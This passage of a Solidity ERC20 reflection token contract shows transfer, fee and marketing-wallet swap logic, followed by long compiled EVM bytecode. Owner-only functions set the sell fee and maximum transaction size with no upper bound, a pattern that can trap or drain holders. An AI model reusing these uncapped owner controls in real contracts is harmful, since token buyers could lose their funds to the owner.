function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
0x6080604052600436106102555760003560e01c806370a0823111610139578063a3864430116100b6578063cba851b31161007a578063cba851b3146108fd578063d54994db14610928578063dab522a814610951578063dd62ed3e1461097a578063ea2f0b37146109b7578063f2fde38b146109e05761025c565b8063a386443014610802578063a457c2d71461082d578063a9059cbb1461086a578063bc951f98146108a7578063c537bd8f146108d25761025c565b80638da5cb5b116100fd5780638da5cb5b1461072d57806395d89b41146107585780639f64621414610783578063a062e3ba146107ae578063a08f6760146107d95761025c565b806370a0823114610646578063715018a61461068357806375f0a8741461069a5780637d1db4a5146106c557806388f82020146106f05761025c565b80632d838119116101d2578063437823ec11610196578063437823ec146105265780634549b0391461054f57806349bd5a5e1461058c57806352390c02146105b75780635342acb4146105e057806357e0a1d01461061d5761025c565b80632d8381191461042d578063313ce5671461046a5780633685d4191461049557806339509351146104be5780633b124fe7146104fb5761025c565b80631bbae6e0116102195780631bbae6e01461034a5780631ff53b601461037357806322976e0d1461039c57806323b872dd146103c75780632663236f146104045761025c565b806306fdde0314610261578063095ea7b31461028c57806313114a9d146102c95780631694505e146102f457806318160ddd1461031f5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610a09565b6040516102839190614430565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190614052565b610a9b565b6040516102c091906143fa565b60405180910390f35b3480156102d557600080fd5b506102de610ab9565b6040516102eb91906145b2565b60405180910390f35b34801561030057600080fd5b50610309610ac3565b6040516103169190614415565b60405180910390f35b34801561032b57600080fd5b50610334610ae7565b60405161034191906145b2565b60405180910390f35b34801561035657600080fd5b50610371600480360381019061036c91906140b7565b610af1565b005b34801561037f57600080fd5b5061039a60048036038101906103959190613f9e565b610b77565b005b3480156103a857600080fd5b506103b1610c37565b6040516103be91906145b2565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190614003565b610c3d565b6040516103fb91906143fa565b60405180910390f35b34801561041057600080fd5b5061042b6004803603810190610426919061408e565b610d16565b005b34801561043957600080fd5b50610454600480360381019061044f91906140b7565b610de6565b60405161046191906145b2565b60405180910390f35b34801561047657600080fd5b5061047f610e54565b60405161048c9190614627565b60405180910390f35b3480156104a157600080fd5b506104bc60048036038101906104b79190613f4c565b610e6a565b005b3480156104ca57600080fd5b506104e560048036038101906104e09190614052565b611238565b6040516104f291906143fa565b60405180910390f35b34801561050757600080fd5b506105106112eb565b60405161051d91906145b2565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613f4c565b6112f1565b005b34801561055b57600080fd5b50610576600480360381019061057191906140e0565b6113c8565b60405161058391906145b2565b60405180910390f35b34801561059857600080fd5b506105a161144c565b6040516105ae91906143c4565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613f4c565b611470565b005b3480156105ec57600080fd5b5061060760048036038101906106029190613f4c565b61170b565b60405161061491906143fa565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f919061408e565b611761565b005b34801561065257600080fd5b5061066d60048036038101906106689190613f4c565b6117fa565b60405161067a91906145b2565b60405180910390f35b34801561068f57600080fd5b506106986118e5565b005b3480156106a657600080fd5b506106af611a1f565b6040516106bc91906143df565b60405180910390f35b3480156106d157600080fd5b506106da611a45565b6040516106e791906145b2565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190613f4c565b611a4b565b60405161072491906143fa565b60405180910390f35b34801561073957600080fd5b50610742611aa1565b60405161074f91906143c4565b60405180910390f35b34801561076457600080fd5b5061076d611aca565b60405161077a9190614430565b60405180910390f35b34801561078f57600080fd5b50610798611b5c565b6040516107a591906145b2565b60405180910390f35b3480156107ba57600080fd5b506107c3611b62565b6040516107d091906143fa565b60405180910390f35b3480156107e557600080fd5b5061080060048036038101906107fb91906140b7565b611b75565b005b34801561080e57600080fd5b50610817611bfb565b60405161082491906145b2565b60405180910390f35b34801561083957600080fd5b50610854600480360381019061084f9190614052565b611c01565b60405161086191906143fa565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c9190614052565b611cce565b60405161089e91906143fa565b60405180910390f35b3480156108b357600080fd5b506108bc611cec565b6040516108c991906145b2565b60405180910390f35b3480156108de57600080fd5b506108e7611cf2565b6040516108f491906143fa565b60405180910390f35b34801561090957600080fd5b50610912611d05565b60405161091f91906145b2565b60405180910390f35b34801561093457600080fd5b5061094f600480360381019061094a91906140b7565b611d0b565b005b34801561095d57600080fd5b50610978600480360381019061097391906140b7565b611d91565b005b34801561098657600080fd5b506109a1600480360381019061099c9190613fc7565b611e17565b6040516109ae91906145b2565b60405180910390f35b3480156109c357600080fd5b506109de60048036038101906109d99190613f4c565b611e9e565b005b3480156109ec57600080fd5b50610a076004803603810190610a029190613f4c565b611f75565b005b606060018054610a189061487c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a449061487c565b8015610a915780601f10610a6657610100808354040283529160200191610a91565b820191906000526020600020905b815481529060010190602001808311610a7457829003601f168201915b5050505050905090565b6000610aaf610aa8612134565b848461213c565b6001905092915050565b6000601554905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600354905090565b610af9612134565b73ffffffffffffffffffffffffffffffffffffffff16610b17611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490614532565b60405180910390fd5b80600c8190555050565b610b7f612134565b73ffffffffffffffffffffffffffffffffffffffff16610b9d611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90614532565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000610c4a848484612307565b610d0b84610c56612134565b610d0685604051806060016040528060288152602001614ce560289139601160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cbc612134565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e9092919063ffffffff16565b61213c565b600190509392505050565b610d1e612134565b73ffffffffffffffffffffffffffffffffffffffff16610d3c611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8990614532565b60405180910390fd5b80601760016101000a81548160ff0219169083151502179055507f3efb3f9ce66ef48ce5be6bff57df61c60b91f67f10f414ed7cd767b1c9cdad7d81604051610ddb91906143fa565b60405180910390a150565b6000601654821115610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2490614472565b60405180910390fd5b6000610e376126e3565b9050610e4c818461211e90919063ffffffff16565b915050919050565b60008060149054906101000a900460ff16905090565b610e72612134565b73ffffffffffffffffffffffffffffffffffffffff16610e90611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd90614532565b60405180910390fd5b601360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f69906144d2565b60405180910390fd5b60005b601480549050811015611234578173ffffffffffffffffffffffffffffffffffffffff1660148281548110610fd3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611221576014600160148054905061102e9190614778565b81548110611065577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601482815481106110ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060148054806111e7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611234565b808061122c906148ae565b915050610f75565b5050565b60006112e1611245612134565b846112dc8560116000611256612134565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b61213c565b6001905092915050565b60055481565b6112f9612134565b73ffffffffffffffffffffffffffffffffffffffff16611317611aa1565b73ffffffffffffffffffffffffffffffffffffffff161461136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490614532565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060035483111561140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906144f2565b60405180910390fd5b8161142f57600061141f84612724565b5050505050905080915050611446565b600061143a84612724565b50505050915050809150505b92915050565b7f000000000000000000000000777a06456f00de1fb78193aaadf32b31f310b1de81565b611478612134565b73ffffffffffffffffffffffffffffffffffffffff16611496611aa1565b73ffffffffffffffffffffffffffffffffffffffff16146114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390614532565b60405180910390fd5b601360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611579576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611570906144d2565b60405180910390fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561164d57611609600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de6565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506014819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611769612134565b73ffffffffffffffffffffffffffffffffffffffff16611787611aa1565b73ffffffffffffffffffffffffffffffffffffffff16146117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d490614532565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561189557601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506118e0565b6118dd600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de6565b90505b919050565b6118ed612134565b73ffffffffffffffffffffffffffffffffffffffff1661190b611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614611961576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195890614532565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611ad99061487c565b80601f0160208091040260200160405190810160405280929190818152602001828054611b059061487c565b8015611b525780601f10611b2757610100808354040283529160200191611b52565b820191906000526020600020905b815481529060010190602001808311611b3557829003601f168201915b5050505050905090565b60075481565b601760019054906101000a900460ff1681565b611b7d612134565b73ffffffffffffffffffffffffffffffffffffffff16611b9b611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614611bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be890614532565b60405180910390fd5b80600a8190555050565b600d5481565b6000611cc4611c0e612134565b84611cbf85604051806060016040528060258152602001614d0d6025913960116000611c38612134565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e9092919063ffffffff16565b61213c565b6001905092915050565b6000611ce2611cdb612134565b8484612307565b6001905092915050565b600a5481565b600b60009054906101000a900460ff1681565b60045481565b611d13612134565b73ffffffffffffffffffffffffffffffffffffffff16611d31611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90614532565b60405180910390fd5b8060078190555050565b611d99612134565b73ffffffffffffffffffffffffffffffffffffffff16611db7611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0490614532565b60405180910390fd5b80600d8190555050565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ea6612134565b73ffffffffffffffffffffffffffffffffffffffff16611ec4611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614611f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1190614532565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611f7d612134565b73ffffffffffffffffffffffffffffffffffffffff16611f9b611aa1565b73ffffffffffffffffffffffffffffffffffffffff1614611ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe890614532565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205890614492565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000818361212c91906146ed565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a390614592565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561221c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612213906144b2565b60405180910390fd5b80601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122fa91906145b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236e90614572565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156123e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123de90614452565b60405180910390fd5b6000811161242a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242190614552565b60405180910390fd5b612432611aa1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156124a05750612470611aa1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600c548111156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e190614512565b60405180910390fd5b5b60006124f6306117fa565b90506000600d548210159050600c54821061251157600c5491505b80801561252b5750601760009054906101000a900460ff16155b801561258357507f000000000000000000000000777a06456f00de1fb78193aaadf32b31f310b1de73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561259b5750601760019054906101000a900460ff165b156125aa576125a982612780565b5b600b60009054906101000a900460ff16156125c9576125c884612aed565b5b600060019050601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126705750601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561267a57600090505b61268686868684612b60565b505050505050565b60008383111582906126d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126cd9190614430565b60405180910390fd5b5082840390509392505050565b60008060006126f0612e71565b91509150612707818361211e90919063ffffffff16565b9250505090565b6000818361271c9190614697565b905092915050565b600080600080600080600080600061273b8a6131bc565b92509250925060008060006127598d86866127546126e3565b613216565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6001601760006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156127de577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561280c5781602001602082028036833780820191505090505b509050308160008151811061284a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156128ea57600080fd5b505afa1580156128fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129229190613f75565b8160018151811061295c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506129c1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461213c565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a239594939291906145cd565b600060405180830381600087803b158015612a3d57600080fd5b505af1158015612a51573d6000803e3d6000fd5b5050505060004790506000811115612acd57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612acb573d6000803e3d6000fd5b505b50506000601760006101000a81548160ff02191690831515021790555050565b6004546005819055506007546008819055507f000000000000000000000000777a06456f00de1fb78193aaadf32b31f310b1de73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612b5d57600a546008819055505b50565b80612b6e57612b6d61329f565b5b601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c115750601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c2657612c218484846132e2565b612e5d565b601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612cc95750601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cde57612cd9848484613542565b612e5c565b601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612d825750601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d9757612d928484846137a2565b612e5b565b601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e395750601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e4e57612e4984848461396d565b612e5a565b612e598484846137a2565b5b5b5b5b80612e6b57612e6a613c62565b5b50505050565b600080600060165490506000600354905060005b60148054905081101561317f5782600f600060148481548110612ed1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612fe55750816010600060148481548110612f7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ffc57601654600354945094505050506131b8565b6130b2600f60006014848154811061303d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613c7690919063ffffffff16565b925061316a60106000601484815481106130f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613c7690919063ffffffff16565b91508080613177906148ae565b915050612e85565b5061319760035460165461211e90919063ffffffff16565b8210156131af576016546003549350935050506131b8565b81819350935050505b9091565b6000806000806131cb85613c8c565b905060006131d886613cbd565b90506000613201826131f3858a613c7690919063ffffffff16565b613c7690919063ffffffff16565b90508083839550955095505050509193909250565b60008060008061322f8589613cee90919063ffffffff16565b905060006132468689613cee90919063ffffffff16565b9050600061325d8789613cee90919063ffffffff16565b90506000613286826132788587613c7690919063ffffffff16565b613c7690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006005541480156132b357506000600854145b156132bd576132e0565b600554600681905550600854600981905550600060058190555060006008819055505b565b6000806000806000806132f487612724565b95509550955095509550955061335287601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7690919063ffffffff16565b601060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e786600f60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7690919063ffffffff16565b600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061347c85600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134c881613d04565b6134d28483613ea9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161352f91906145b2565b60405180910390a3505050505050505050565b